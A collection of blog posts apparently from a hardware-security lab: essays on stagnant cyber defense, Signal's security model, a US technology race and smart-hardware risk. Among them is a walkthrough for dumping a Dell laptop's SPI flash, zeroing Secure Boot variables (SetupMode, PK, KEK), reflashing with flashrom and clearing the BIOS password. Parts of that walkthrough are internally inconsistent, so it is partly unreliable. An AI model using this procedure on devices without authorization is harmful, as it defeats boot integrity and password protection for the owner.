In my career in cyber security I've seen the creation of:

• Firewalls
• Anti-Virus
• SSL & TLS
• CVEs
• SEIMs
• VPNs
• Vulnerability Scanners & Exploit Test Frameworks (like Metasploit)
• Patch Management Systems
• Intrusion Detection / Prevention Systems and Host Intrusion Systems
• Malware Analysis & Incident Response
• Penetration Testing, Red Teaming, and Adversary Simulation
• The Penetration Testing Execution Standard
• PCI
• MITTRE ATT&CK
• CVSS
• Web Application Firewalls
• SAST / DAST App Sec Testing
• DLP and DRM
• Threat Intelligence
• EDR
• Many classes of attacks from format strings to XSS
• Memory protections such as DEP and ASLR
• Zero Trust
• MFA
• Identity Providers
• ML Classifiers
• Security Frameworks (NIST CSF, ISO 27001, CIS Controls, CMMC)

And many more. I've been fortunate to have been a part of the creation of some of these.

You know what I haven't seen? A decline in intrusions. If anything, they have increased since the year 2000. The attack ecosystem has grown from viruses and worms, to ransomware, supply chain attacks, APT, and IoT/OT targeting with no signs of slowing down.

The following is a very rough conservative estimate (lots of ways to measure it) of the growth of the value (expense) of cyber security defense over time:

• Year Estimated Value of Cybersecurity Market*
• 2004 ~$3.5 billion
• 2010 ~$16.5 billion
• 2015 ~$75 billion
• 2023 ~$219 billion
• 2024 ~$190-240 billion
• 2025 (forecast) ~$227.6 billion

The Identity Theft Resource Center gives us the following numbers for the last five years:

• Year Number of Compromises
• 2020 1,108
• 2021 1,862
• 2022 1,802
• 2023 3,205
• 2024 3,158

The number of victim notices in 2024 was up 211%.

Obviously this is just what's reported and tracked, not the full extent of the problem.

I gave a talk and attended a private cyber security summit at the Santa Fe Institute many years back. The CSO of a major network vendor was there as well as C execs from many well known organizations. In one of the breakout sessions we were discussing who was making money from cyber attacks. We went down a chain something like this:

"Well the malware author makes money from who he sells it to."

"Yeah but the hacker makes more money deploying it and selling CCs and SSNs."

"Oh wait, the security vendors make way more money from selling the defenses than the guys doing the attacks. How do I get in on that racket? Oh wait, I AM in on it!" said the CSO.

Then I said: "But the banks make money on every transaction, from start to finish".

So we have invested billions of dollars, countless careers and resources, VC time and effort and the problem has only gotten worse. In any other industry this would be a major alarm bell. Imagine if the number of commercial plane crashes went up year over year despite major investment in flight safety. What would happen to that industry? Why are we not introspecting the same way when life safety is more and more in the sphere of cyber?

Every day new cyber security business are launching, large investments in cyber from venture firms, new tools being released, and tons of competition. Why isn't there is anyone saying "Hey wait a minute, what are we doing? We aren't making any progress!"

From my experience consulting for Fortune 100 companies, governments, and big Tech what I have seen is that cyber is a multivarant problem consisting of (but not limited to:

- Budgets
- Politics
- Staffing Limitations
- Critical Legacy Systems
- Competing Priorities
- Education

To say nothing of real technical hurdles. This is not a problem that can be mandated away by a government or a policy.

WHAT TO DO?

This whole time we have been retrofitting security on top of protocols and systems that were never designed to be secure. Most of the focus is at higher levels of whatever stack.

We implemented SAST / DAST into our build pipelines but not into our processes.

We added encryption on top of HTTP and DNSSEC on top of DNS and all of that on top of TCP/IP.

What we didn't do is go back and redesign computing architecture to include security from the get go. We don't have processors or RAM pipelines that have any mechanism for validating or flagging instructions or addressing. We don't have low level protocols like ethernet that have authentication and traffic verification built in. As much of computing is moving towards SoC type designs, low power and lower cost devices like ARM, we have a unique opportunity to rethink the whole thing.

I think we have a major choice in front of us. Continue investing in new band-aid ideas that attempt to patch issues that are discovered with each attack as a reactive measure:

• Network attacks spawned firewalls and IDS.
• Web attacks spawned WAF and structured queries.
• Credential harvesting spawned MFA.
• Incident Response spawned SEIMs.

And continue to throw money into a bottomless pit destined to fail.

Or we can flip the table and go back to the drawing board at the hardware level of our computing infrastructure and design things the way they should have been done from the beginning if we had had the foresight to anticipate attack evolution. It will be very expensive and painful, but if we want actual security and not just cyber economy I think we have no choice. I suspect this effort would take several decades and many billions of dollars to implement .

One thing I'm pretty sure of is that no gov legislation or standard is going to fix the issue.  We already have:

• Computer Fraud and Abuse Act (CFAA)
• Electronic Communications Privacy Act (ECPA) / Wiretap Act
• Stored Communications Act (SCA)
• HIPAA / HITECH (Healthcare Security Law)
• Gramm–Leach–Bliley Act (GLBA)
• Sarbanes–Oxley Act (SOX)
• Federal Information Security Modernization Act (FISMA)
• Cyber Incident Reporting for Critical Infrastructure Act (CIRCIA — 2022)
• State Data Breach Notification Laws (All 50 states)
• California Consumer Privacy Act / CPRA (CCPA/CPRA)
• New York SHIELD Act
• FTC Act Section 5 (Unfair or Deceptive Practices)
• DFARS 252.204-7012 / NIST 800-171 (Defense contractors)
• International Traffic in Arms Regulations (ITAR)
• Export Administration Regulations (EAR)
• SEC Cyber Disclosure Rules (2023+)
• CAN-SPAM Act

And many more, all with various levels of teeth and penalties. And yet, the breaches continue. In fact, with the recent Salt Typhoon / CALEA issues I would make the argument that often government regulations are the problem, not the solution.

Lets say, via a bill, we set some minimum bar with huge fines or loss of licenses for non-compliance. The same hacks will happen, and then what? Do they still lose their license? Do we raise the bar again and rinse and repeat? This bar keeps squeezing already low margins from organizations until eventually they just give up their licenses because its too expensive to maintain, or they get bought out by one of the big guys in their industry (who are a whole other problem).

We could have the most perfect bill and it have little to no effect at preventing breaches. We've been focused on the minimum baseline / low hanging fruit for 3 decades and not only have breaches increased, we haven't gotten rid of the low hanging fruit.

Can fancy autocorrect (AI) solve this for us? I have my doubts.

What do you think?

A.

This research and article is by RedCrow's Hardware Hacker Matt.

Objective:
The goal of this project is to get a computer that's locked down with its BIOS Secure Boot Mode enabled and disable it through firmware modification using an on-chip firmware extraction.

Tools -
For this project we'll need the following tools:

• CH341A Programmer
• SPI Flash 1.8V Adapter
• SOP8-to-DIP8 Pin Adapter
• SOIC8 Chip Clip

First we needed to identify the chip on the motherboard that could contain the firmware BIOS settings. For this Dell G15 5515 RE laptop initially there's only two possible chips, the GigaDevice GD25LR128D Dual/Quad Serial Flash, and the Winbond W25Q16JW Serial Flash Memory.

However, the GigaDevice GD25LR128D has a capacity of 16 Mega Bytes, while the Winbond W25Q16JW is only 16 Mega Bits, which makes it the most likely for storing BIOS settings.

Setting up the Tools/Software

For connecting to the chip, a XGecu T48 Programmer was the first choice but after looking at the supported chip device list, the GD25LR128D chip was not presently supported, so the CH341A Programmer proved to be a better option, plugged into a Raspberry Pi 4.

Since the chip only operates on a 1.8 Volt DC Power Supply, a SPI Flash 1.8V Adapter is needed attached to the top of the Programmer. Then for connecting to the chip, a SOIC8 Chip clip and a SOP8-to-DIP8 pin adapter for mounting the clip correctly into the 1.8V Adapter atop the CH341A Programmer.

Pulling the Firmware from Chip

First using `flashrom` with the `-p`, and `-r`, options to read from the chip in spi mode and save it in a binary file.

sudo flashrom -p ch341a_spi -r gd25_dump.bin

Then confirm that the device storage size is 16MB.1

root@RPi:~ ls -lh gd25_dump.bin
-rw-r--r-- 1 spectra spectra 16M Jul 23 20:04 gd25_dump_copy.bin
root@RPi:~ $

Next runming `strings` on it to see if there's any readable ASCII text or UEFI/BIOS strings inside the file.

The output is quite long but if we check the entire string output, we can spot some modules inside that prove it contains the BIOS system firmware, such as: EFI, DXE, SMM, and PE32 are all UEFI binary sections. As well as, InsydeFlash, Setup, Boot manager, and PlatformInit are BIOS-related modules.

This confirms that the BIOS settings are present in this chip.

Checking the Firmware File Structure

Running `Dell BIOS Tools.V21 Service Tag Extractor` will show weather or not any Dell-related tags exist in the BIOS dump, as well as `binwalk` to see the file structure of the firmware.

The program has the capability to read through and patch certain bytes inside the firmware, however Dell's unlocker tool doesn't support AMD-based boards and only checks for Intel signatures. So instead it'll be necessary to go through manually and find which firmware blocks contain the desired SecureBoot bytes.
Service Tag `HISTORY` found 11 times.

• BIOS region offset: `0x00EB5BB0 – 0x00EC2873`.

Then we binwalk the dump:

binwalk gd25_dump.bin

Binwalk'ing the file shows the dump is valid and contains UEFI-level configuration, including secure boot policies and password protections.

The exact locations of the SecureBoot settings in firmware are still unknown, so `UEFITool` will be used to search the system file tree and find any existing UEFI-variables related to SecureBoot.

Analyzing the Firmware Data

Now that we know for certain the chip contains the BIOS-settings, we'll create a backup copy of the file and attempt to analyze different sections of the firmware to find the SecureBoot flags.

Searching through UEFITool with `ctrl + F` results in variable entries for both SecureBoot, and SecureBootEnforce.

SecureBoot being enabled is dependent on other variables states existing inside the BIOS NVRAM of the flash chip.Policy Key (PK) is a BIOS variable that tells the machine its in User/Deployed mode and SecureBoot is considered active.

The first variable to target and disable is SetupMode ( changing bit 1 (ON), to 0 (OFF) ) ,this will switch the system to permit changes to Policy Key and SecureBoot allow/deny lists.

This also includes KEK ( Key-Exchange Key ), which is used to verify and authorize updates to SecureBoot's allow/deny lists (dn/dbx).

Modifying the Firmware Data

For searching through and removing the variable 1Bit (ON), state's in the UEFI firmware, an automated Python Script will search for the variable names found by UEFITool and print their associated `Address offsets` and display weather or not thier state byte is still active.Then using a Hex Editor like `Hexedit` to search for their respective addresses and erase those state bytes. Turn the ON Bit from 1, to 0, OFF.

With this a table can be created based on the necessary Variables and their Offsets.

Now opening up the firmware dump file with hexedit, use `Ctrl+g` to jump to the associated `Address Offsets` and zero the variables at their location.

Re-flashing the Firmware to Chip

To prepare for re-flashing, compare the copy of the original firmware binary file we made with our patched firmware version to see if it matches our expected byte difference after the changes with `flashrom`.

sudo flashrom -r read_test.bin -p ch341a_spi

Which results in the expected byte difference of 15380571, and line difference of 24700.

Now that we know the read on the chip is working, lets go ahead with our final step of re-flashing the patched firmware back onto the chip.

Using the CH341A in SPI mode again, automatically erase, program, read back, and verify the whole 16 MiB image.

Once the `-w` option finishes showing a _“VERIFIED”_ message, the chip will be fully re-flashed.

#1 Program (erase → write → verify, all in one)
sudo flashrom -p ch341a_spi -w firmware_mod.bin

#2 Optional explicit re-verify afterwards
sudo flashrom -p ch341a_spi -v firmware_mod.bin

Conclusion

Now lastly to re-assemble the computer back together and confirm UEFI `SecureBoot` is off.

The `SecureBoot` flag also appears to have removed the permission for editing the BIOS Password as well, so we can go ahead and change it to nothing so we don't have a password prompt every time when booting up the computer.

This proves that a Firmware Modification through an off-chip extraction was able to successfully disable the BIOS Secure Boot on this device.

                                                                                                                                  Matt

Periodically someone will put out a dramatic statement that Signal has been hacked or that Signal is insecure. So far, every single time this has happened, its been a gross lack of understanding of Signal and of the vulnerability being discussed.

Most often someone makes the statement that XYZ stole their Signal messages and therefore Signal is insecure. This is a fundamental misunderstanding which I will try to clear up.

Back in the old days people broke cryptography in a process called cryptanalysis. First it was with a pen and paper and later it was with machines like Alan Turing's Bombe breaking the enigma. (Peter Thiel once showed me his authentic WWII Enigma machine, but that's a story for another day).

Now, with modern standard crypto algorithms which are open source and heavily tested by the community, breaking crypto is rare.  I'm sure there are a variety of government organizations with some cool cryptanalysis capabilities, but in general, most attackers aren't attacking the crypto itself. What they attack are the endpoints, meaning they go after the data either before it is encrypted, or after it has been decrypted on the other side. More on this later.

I haven't talked to him in many years, but I knew Moxie Marlinspike, the creator of Signal. He was a bit sketchy, a bit of an anarchist type and activist, but brilliant at cryptography. This was one of his core motivations behind creating Signal. He wanted to be sure that his communications, and those of other like minded people couldn't be snooped on. Often, when trying to evade snooping, its beneficial for there to be "cover traffic" or the ability to mix in your traffic with that of other users so that there is a lot of noise that is difficult to sort. This is why you would make a large scale app used by millions, rather than something one off only you and the person you are talking to use.

Additionally, if you have an app like this with many users, for your own protection you need to be sure that you do not have access to the data because if you do, you can be compelled to reveal it or potentially have some responsibility over it. (Ex. Telegram's recent arrest)

It is because of these reasons I believe Moxie has significant incentive to make an app that not only is hard for others to snoop on, but that he himself can't snoop on, including meta data, which is valuable for surveillance. No backdoors so to speak.

SIGNAL'S DESIGN & STRENGTHS

Now lets discuss Signal's design and strengths a little bit.

End-to-End Encryption:

• Signal uses the Signal Protocol, an end-to-end encryption (E2EE) framework, to secure messages, calls, and media. This encryption ensures that only the sender and recipient can access the content, even if intercepted during transmission.

Open-Source Transparency:

• In the tradition of open cryptography algorithms, Signal's codebase is open source, meaning it can be independently audited by security experts to verify its security claims. Open-source development builds trust and allows the community to identify and fix vulnerabilities quickly.

Minimal Metadata Collection:

• Signal retains almost no metadata about users or their communications. The only data Signal keeps is the phone number used for registration and the last connection timestamp.
• This policy is further bolstered by features like Sealed Sender, which hides metadata about who is sending a message.

No Advertisements or Tracking:

• Signal is run by a nonprofit organization (Signal Foundation) and funded through donations, eliminating any incentives to monetize user data.
• Unlike many competitors, Signal does not track users or use analytics tools that could compromise privacy.

Forward Secrecy:

• Messages in Signal are encrypted with unique session keys that are discarded after each conversation.
• This prevents an attacker from decrypting past communications even if a user's encryption keys are compromised in the future.

Advanced Features for Privacy:

• Disappearing Messages: Messages can self-destruct after a specified period.
• Screen Security: Prevents others from taking screenshots of conversations.
• Registration Lock: Protects accounts from unauthorized re-registration.

Independent of Big Tech:

• Signal is not owned by a large corporation, reducing risks of data sharing with advertisers or governments.

In short, the purpose of Signal is to provide privacy between User A at Endpoint A and User B at Endpoint B. If the traffic is intercepted between the two endpoints, it cannot be read.

WHAT SIGNAL IS NOT

Signal is not an isolated data storage protection mechanism.  While Signal messages are stored encrypted on your phone, your general phone user account has access to them. This means that if someone takes your phone while its unlocked, or guesses / forces you to give up your pin, face, or unlock mechanism, they can read your messages. This is normal and reasonable, not a vulnerability in Signal. Its up to you to implement proper OPSEC.

Signal is not an anonymization system. It protects your messages from being read in transit, not your traffic from being correlated to your phone.  Signal's main key is your phone number. If you don't use a burner phone and practice good OPSEC, then you cannot expect to be anonymous. For example:

• If your phone number is registered with the cell company to your name, you aren't anonymous.
• If your burner phone is sitting in your house or car most of the time, you aren't anonymous.
• If your burner phone is sitting next to your real phone, you aren't anonymous.
• If you don't disable media auto-download in Signal, you aren't anonymous.
• If the person you are talking to doesn't practice good OPSEC, you likely aren't anonymous.

If you need to be anonymous (If you are a journalist or activist for example) , there are OPSEC steps and approaches to do so, but Signal is not that. You can combine those activities with Signal and gain privacy as well as anonymity, but Signal does not pretend to offer anonymity, that's not its stated purpose.

If I have access to your device, be that virtual or physical, I will get your data. This doesn't just apply to your phone running Signal, but to any device running any app. Even if you have FDE and a TPM, eventually, given enough time, I will get your data. It is paramount and incumbent upon you to protect access to your device. If you fail to do this, it is not Signal's fault.

In early 2024 Tucker Carlson alleged that Signal isn't secure and that the NSA spied on his chats. Tucker is well known to be in communication with overseas intelligence targets including Vladimir Putin. If this occurred, it occurred in one of two ways:

1.) The USG procured a FISA warrant or something similar, got access to Tucker's phone, and then simply monitored his messages before they were sent, and after they were received. Section 702 of FISA allows the collection of intelligence between US persons and individuals overseas.

2.) The USG hacked foreign persons phones, who Tucker was in contact with, and monitored the messages before sent and after received. (I think this is more likely than 1.). I suspect he was talking to targets rather than being a target himself.)

What very likely didn't happen is that the USG captured the Signal traffic in transit between the two phones and decrypted it. What also didn't likely happen is that the USG exploited a bug or backdoor in the Signal app to steal the messages, for all the reasons I listed above.  Additionally, they didn't have to. All they had to do was get access to one of the two phones which is fairly trivial. Why waste the time and expense for an elaborate exploit?

THE MOST RECENT "SIGNAL IS HACKED" ATTENTION SEEKING

A few days ago this article came out:

https://www.darkreading.com/threat-intelligence/cloudflare-cdn-bug-outs-user-locations-signal-discord

And I'm seeing people, yet again, talk about how Signal is hacked, isn't secure, or isn't private. And again, this is wrong.

Caching content providers have been tracking user location data via a variety of methods for at least 20 years, probably starting with AKAMI. This data is available for sale for whatever you want to use it for. Data centers that cache resources such as images for quicker internet retrieval can sometimes be enumerated to identify which one cached the resource. Whatever data center is closest to you is likely the one your content will come from, providing a somewhat fuzzy correlation to your likely physical location.

But remember, Signal isn't an anonymization app. This vulnerability doesn't exploit anything within Signal or its protocol. If you were using a VPN, or you had automatic downloads turned off, this likely wouldn't affect you at all.

I first did an attack similar to this in 2003. I was helping an organization with an intrusion where the attacker was pulling data off their systems. I created a Word document with a juicy name and included an image in the document that loaded off a public web server whose logs I had access to. The attacker downloaded the document, opened it, the image loaded from the internet, and I had the attackers real IP address.

This article as actually hinting at a major privacy issue that has existed in cached content providers for decades, but they threw Signal and Discord in to generate buzz and attention. Lets focus on the real problem.

It's irresponsible and a disservice done by the media, hackers looking for attention, and security professionals to push this type of hysteria around something they don't understand. Half the time I suspect they have an agenda to scare people into not using Signal to make it easier to spy on them, or to sell their own, likely less effective, competing product.

WRAPPING IT UP

I have looked at many privacy based communications apps over the years, including reverse engineering them and finding vulnerabilities, both open source and proprietary. As far as I am aware, there is no better and more secure option than Signal.

Please, really dig in to vulnerabilities like this before your amplify them and freak people out, or ask someone who is credible expert to look into it.

Thanks for reading,

A.

America is in a race. The opponents in this race are complicated (China, Russia, non-state actors, our own selves) but the consequences of the outcome are critical:

• Economic Prosperity
• Military Advantage
• Global Influence & Proliferation of World View

If we don't win most, if not all of the components of this race, the results will be disastrous not only for the US, but for much of the world. I believe the following are the key legs of this race, in reverse order:

6.) Cyber (Obviously defense, but especially Offensive Cyber)

5.) Crypto-Currency

4.) Drones & Robotics

3.) Quantum Computing

2.) AI (I wanted to say Automation but the two are deeply intertwined)

1.) Energy

6.) CYBER

I've been part of fighting a cyber-war for over 2 decades. Its long been in the shadows but in recent years has started coming to light. Nation States and small motivated groups are hacking each other for advantage, and the conflict is escalating, as the recent Salt Typhoon revelations have shown.

I've spoken at length on this subject, including in my most recent article, but to add a little more color let me just say that everything is rapidly becoming "smart". We are innovating way out ahead of our ability to consider or address the security implications. Microsoft just released patches for 159 vulnerabilities for January. Nuclear and other strategic weapons are mostly in maintenance mode compared to offensive cyber. Nation States are using it extensively for spying, battlefield support, and an arsenal for multiple avenues of disruption from critical infrastructure, to culture, to economics.

We are not where we need to be. Bureaucratic hurdles, rules of engagement written by people who don't understand cyber, turf wars, terrible incentives in the Defense Industrial Base (DIB), and an inability to compete with the tech industry means our offensive cyber capabilities at scale are rapidly falling behind. Two quick examples on the DIB side.

1.) I observed a major contractor take 2 years, 30 people, and 15 million dollars to develop 1 monolithic cyber capability that, by the time it was ready, the window of opportunity had closed.  This is nowhere near fast or cheap enough. This problem can be solved, but the legacy DIB is highly incentivized to not solve it due to current business models. When I've been involved in presenting viable solutions in the past, the DIB moved quickly to try to squash them.

2.) I was given a project which I completed in a week and cost around $20k. When I delivered the working product, the customer was shocked. They told me they had paid a defense contractor 6 million dollars, taken 3 years, and delivered something that only worked on late 90s - early 2000s technology. They didn't expect me to deliver much because that is what they were used to. Its not that I'm that good, its that they are that bad. This is unacceptable.

The problem space is large enough for many to contribute, but those who own it today prefer to be ineffective rather than let others into their playground. This is not the case in other countries who make much better use of their national cyber assets.

5.) CRYPTO CURRENCY

Crypto in some form is the future of money and financial transactions. What that will look like hasn't shaken out fully yet, but whoever is ahead of it will have similar levels of power and influence to what the petrol dollar has provided since the 1970s.

President Trump just signed an Executive Order on crypto which provides support for Digital Assets, promotes Dollar backed stable coins, sets regulatory direction, and prohibits CBDCs in the US. The SEC also rolled back a controversial rule directing banks to mark customers crypto assets on their balance sheets.  The EU's MiCA, UK's FCA, and other organizations are rapidly moving to formalize rules around crypto and legitimizing it from a global financial perspective.

Due to sanctions, countries like Russian and China are turning to digital assets for cross-border transactions, undercutting some of the legacy financial players.  As international-conflict isn't likely to reduce any time soon, this factor is only going to grow. Organizations like JPMorgan and SDX have been implementing blockchain digital transactions as well.  We are also seeing luxury brands like LVMH, Gucci, Balenciaga, etc. experimenting with accepting crypto payments as well as major chains like AMC, Home Depot, Newegg.

All this signals a trajectory towards crypto and away from traditional, legacy ways of doing business. Countries that fall behind in this area will be at a significant disadvantage in terms of speed, cost, and interoperability.

4.) DRONES & ROBOTICS

I covered this as well in my  most recent article,  but the Ukraine war isn't the only area where drones are proving critical. The rapid rise of Anduril shows how strategically critical drone technology is becoming to the US. This will be a key differentiator in conflict going forward. You either drone rapidly, effectively, and at scale, or you lose.

Turkey has become a global defense industry player with its Bayraktar TB2 drones in use in the Nagorno-Karabakh conflict between Azerbaijan and Armenia. In 2023 Saudi Arabia spent $3 Billion on Turkish drones. India and Bangladesh have both invested heavily in TB2 drones in the last 6 months.  Ukrainian drone makers have innovated at an unimaginable pace since the start of the war.

Various factions in Syria have been engaging in drone driven conflict, including drone delivered explosive terrorist attacks.

Mexican drug cartels have been using drone attacks against rival gangs, which is particularly concerning in light of the recent labeling of the cartels as terrorist organizations. Having spoken with some military friends of mine, the key concern, as far as I can understand it, is the following. The cartels have an extensive network in the US and have been operating for years on our side of the border to move and distribute drugs, weapons, and people. They have intelligence, infrastructure, and communications. If we declare war on the cartels without investing significant assets on this side of the border to map out and monitor these networks, the violence could bleed over domestically in a rapid and dramatic fashion. Our investments in this area have been weak. Now, imagine the incorporation of the use of cartel drones against American citizens into this threat assessment.

I grew up in El Paso and Juarez and experienced some of what this can look like and we better get ahead of it fast.

3.) Quantum Computing

Quantum Computing is a subject I am extremely interested it. Until recently it was a subject that was relegated to large organizations who can afford large amounts of expensive Helium-3 and who can reduce their problems to ISING / Discrete Optimization problems.

America has a few Quantum Computing Hardware companies including DWave and Rigetti but their computers are going for a million dollars or more.  China has SPINQ which, while little more than toys today, are in the consumer price range and rapidly evolving.

In the last six months we have Google's Willow QC, IBM's 1,121 qubit Condor, SandboxAQ's Quantitative AI Models on Google Cloud, significant advancements in Error Correction but while we should be cautious about the reported details, China is where some major advancements have been happening.

In October 2024, the Anhui Quantum Computing Engineering Research Center announced an expansion of its superconducting quantum computer production line. The facility increased its capacity from assembling five quantum computers simultaneously to eight, enhancing its ability to develop advanced systems like the 72-qubit Wukong chip.

China launched one of the world's first quantum-enabled satellites, Micius, in 2016. China has invested over $15 billion in public funding for quantum research and development.

China has been hoovering up encrypted data from its adversaries for decades (as I'm sure other countries have as well). Someone is going to reach 2000 qubits and figure out how to solve more than just ISING/DO problems, and when that happens, encryption is in big trouble, and by proxy, privacy, the economy, and national security.  Whoever wins the QC race will have a disproportionate advantage in many areas. Marry that speed and processing with AI and all bets are off.

2.) AI / Automation

The key to the future is speed. Speed comes from solving hard problems, iterating and innovating, and then automating the process. AI is an integral part of this. The US has several clear leaders in this area: OpenAI, Anthropic, Grok, Gemini, along with a host of small startups innovating all over the space.

Then on January 20, a relatively unknown AI research lab in China released an open source model called DeepSeek.

• DeepSeek-R1:

Input Tokens: $0.55 per million tokens

Output Tokens: $2.19 per million tokens

• OpenAI o1:

Input Tokens: $15 per million tokens

Output Tokens: $60 per million tokens

DeepSeek reportedly spent ~$6 - $12 million to train their R1 model and claims to have done it in 2 months.

ChatGPT-4 cost around $80 million and 5 will cost between 1 and 2 billion.

There are a lot of fuzzy details, but its clear China is somewhat quietly investing a ton of effort and resources to win the AI race. Whoever does will be faster and more innovative than the rest, at least for a period of time.

1.) Energy

What do all the things we have discussed have in common? Energy.

According to Deloitte, data centers are expected to consume approximately 536 terawatt-hours (TWh) of electricity in 2025, accounting for about 2% of global electricity consumption.

Department of Energy anticipates that electricity consumption for AI applications will reach 325 TWh by 2028, equivalent to the current annual consumption of Spain.

The most recent nuclear power plant to become operational in the United States is Plant Vogtle's Unit 4, located in Burke County, Georgia. Unit 4 began commercial operation on April 29, 2024, following Unit 3, which commenced operation on July 31, 2023. Construction of Vogtle Units 3 and 4 began in 2009, but the project faced significant delays and cost overruns, with total expenses exceeding $35 billion, much of this caused by over-regulation. We went 20 years without building any new reactors.

The US last coal fire plant was built in 2013.

As of April 2024, China has 23 nuclear reactors under construction. In August 2024, China approved the construction of 11 new reactors across five sites, with a total estimated cost of $31 billion (less then the cost of our overruns on 1 plant in the US.) In the first half of 2024, China started building over 41 GW of new coal capacity.

If we aren't competitive in energy production we are in danger of losing ALL the races I described above. It doesn't matter if we have the best GPUs, whoever has the most energy can just power 10x the number of inferior GPUs.

0.) CONVERGENCE

A key point to consider is how all of these races are converging.

AI, Quantum, Robotics & Drone Manufacturing, and Tech in general are all accelerating in their need for energy. AI is driving innovation and design in all the areas we have discussed. Robotics are incorporating AI to enhance physical capabilities. The consequence of this is that we not only have to focus on every race at the same time, but we have to try to anticipate how they affect each other.

Here is what I think needs to happen:

• Removal of legacy red tape that is slowing us way down in comparison to other countries. There is an argument to be made that we need some friction to ensure we do things right, and safely, but that mostly applies when you don't have adversaries right on your heels. We have to find a balanced way to do this and traditional methods (like legislation) are WAY too slow for the pace we have to keep.
• An examination and reworking of incentives, especially in the Defense Industrial Base. The focus on maximizing hours and low bids is a failing approach. We need a new model right now, today.
• A proliferation of bets, even risky ones, on startups and wild ideas that contribute to the race.  VCs who want to stick to the legacy formulas, focused on unicorns, afraid to make longer term investments or bet on fringe ideas will fall behind quickly. We need 1000s of people building smart, AI driven, automation things in their garages. We need hackers building tools to scale up our ability to test security to industrial levels.
• A reworking of the philosophies around offensive cyber. The current decision makers are often people who understand missiles, fighter jets, and boots on the ground, but who can barely check their own email. (Or have an assistant print out their emails for them every morning, true story). We need to test out new ideas, make mistakes, and use our national resources much more effectively in this area.
• A revival of energy industry builders working within smart and updated guidelines, to 10x our ability to produce power to meet the needs of the race.  In the short term we will need it all; nuclear, wind and solar, oil and gas, new inventions, hell fusion if we can pull it off. Lowering or stagnating energy production is a losing proposition for the world, because other countries are not going to do that and don't care about the long term consequences. The best thing we can do for the environment is win the energy race which then gives us the ability to guide it to where it can be continually safer and cleaner over the long run.

Thanks for reading,

A.

We have gone through several ages in tech. These include, but aren't limited to:

• The Age of the Internet
• The Age of Mobile
• The Age of the Cloud
• Most recently the Age of AI

We are now entering the Age of Hardware. More on this later.

In 2024 the Red Crow Lab team reverse engineered and hacked over 30 smart hardware devices.  Through this process we have realized a few things:

• There are only a few thousand high end hardware reverse engineers out there. Most of them are in government, defense contractors, or are security researchers, with quite a few hobbyists.
• There isn't a formal, repeatable, and consistent process for hardware reverse engineering. Its really more of an intuitive art at this point.
• Because of the lack of REs, many devices, maybe millions, are not being looked at in depth, leading to a huge number of extremely vulnerable pieces of hardware in operation in the world.

In response to this we have been training up hardware RE interns, have created a Process, and are developing tools to 10,000x the number of devices we can handle in a year.

This is  a particularly urgent need as we enter the Age of Hardware. We are seeing a series of changes in tech that are all converging in the hardware space, and which will make the lack of smart-hardware security an intolerable and dangerous situation.

Drones

Ukraine has demonstrated that Drones and autonomous systems are the near future of warfare.

Thermite-Equipped Drones ("Dragon Drones")

Ukraine has deployed drones armed with thermite canisters. These "dragon drones" target Russian infantry concealed in wooded areas, forcing them into the open for subsequent attacks.

Advancements in Autonomous Drone Technology

Ukrainian forces are advancing towards more autonomous drone systems to reduce reliance on human operators. These developments reflect a field tested shift towards integrating automation in military operations.

Use of Sea Drones in Naval Warfare

Ukrainian sea drones have achieved notable successes, including the downing of a Russian Mi-8 military helicopter off the coast of Crimea.

AI Integration and Partnerships

In December 2024, Anduril partnered with OpenAI to enhance counter-drone systems for the U.S. military. Anduril has developed the Roadrunner, a modular, twin-turbojet-powered drone designed to intercept and neutralize enemy drones, missiles, and manned aircraft. In August 2024, Anduril raised $1.5 billion to develop and manufacture autonomous, AI-powered weapons. The funding enables the creation of a new manufacturing platform called Arsenal, designed to produce tens of thousands of autonomous weapons annually, addressing a critical weakness in U.S. military readiness exposed during recent conflicts.

SoCs and Chiplets

The semiconductor industry is in the midst of a major change, moving from monolitic systems to lower cost, smaller chiplets that can be combined for more targeted applications.  Cadence Design Systems, in collaboration with Arm Holdings, has developed an Arm-based system chiplet. The automotive industry is also embracing chiplet technology. Cadence and Arm have also introduced a chiplet-based reference design aimed at accelerating the development of software-defined vehicles. Renesas Electronics Corporation has launched a new generation of automotive fusion SoCs built with 3nm process technology.

All of these rely on firmware, drivers, interconnect management, task scheduling, and other software. SoCs often run full operating systems either Linux, Android, or RTOS based.

This will help enable a proliferation of smaller, lower cost, lower energy, smart-hardware across many industries.

Automotive

I don't need to say much here because everyone is aware, but smart hardware has become critical in automotive. I've recently heard some experts say that traditional auto-manufacturers will have to convert to becoming tech companies or risk collapse. Between Self Driving, multi-featured infotainment systems, voice assist, and connectivity options, automotive tech is getting wild. What will happen when Starlink is ubiquitous and cars are always connected?

I've watched Tesla put out a TON of job ads for cyber security engineers this year, more by far than I've seen in the past. This is a signal.

Its been 10 years since Charlie Miller and Chris Valasek famously hacked a Jeep through the vehicle's Uconnect infotainment system, allowing them to remotely take control of steering, braking, and acceleration. I myself have hacked numerous major automaker's telemetry systems.

But I have not seen much public innovation in the automotive cyber security space as regards to hardware hacking recently. Why is that?

Space

Companies like SpaceX have significantly decreased the cost and barriers to getting tech into space.  Miniaturization, CubeSats, and other innovations has had a major impact. This, in turn, has increased the proliferation of space sensing technologies being deployed on satellites. This tech uses smart hardware in a number of ways:

Autonomy and Real-Time Decision Making - Space missions often operate far from Earth, where communication delays can be significant. This requires smart systems on board that can handle some decision making and autonomous operations.

Precision and Efficiency in Sensing - Space sensing systems require high precision to detect faint signals and capture detailed data, such as spectroscopy for planetary atmospheres, imaging, signal processing, etc.

Data Processing at the Edge - Spacecraft generate vast amounts of raw data, but bandwidth limitations often make it impractical to transmit everything back to Earth. Smart hardware includes onboard processing capabilities, such as AI accelerators or specialized chips, to filter and compress data, perform initial on board analysis and prioritize transmission of the most critical findings.

Companies like Fleet Space Technologies, Myriota, Momentus Space, Ursa Space Systems are deploying a wide variety of technologies into space from SAR Imagery, to MET propulsion, to nanosats.

Who out there is providing Nation State level attack testing on these technologies? Because even we we aren't, our adversaries are.

Robots

The Chinese company Unitree has released a $16,000 humanoid robot, the price of a used car. But they have also released at $1600 commodity quadruped robot. This robot uses Ubuntu, the open source Robot Operating System (ROS),  contains an array of sensors from cameras, ultrasonic sensors, LiDAR, to an IMU and supports WiFi, 4G, and Bluetooth for connectivity.

In the US we have Boston Dynamics, Ghost Robotics, Agility Robotics, Anybots, and a huge surge of competing robot companies. These robots have immediate applications in:

• Industrial Automation
• Healthcare and Medicine
• Agriculture
• Defense and Security
• Logistics and Delivery
• Retail and Customer Service
• Exploration
• Home Automation

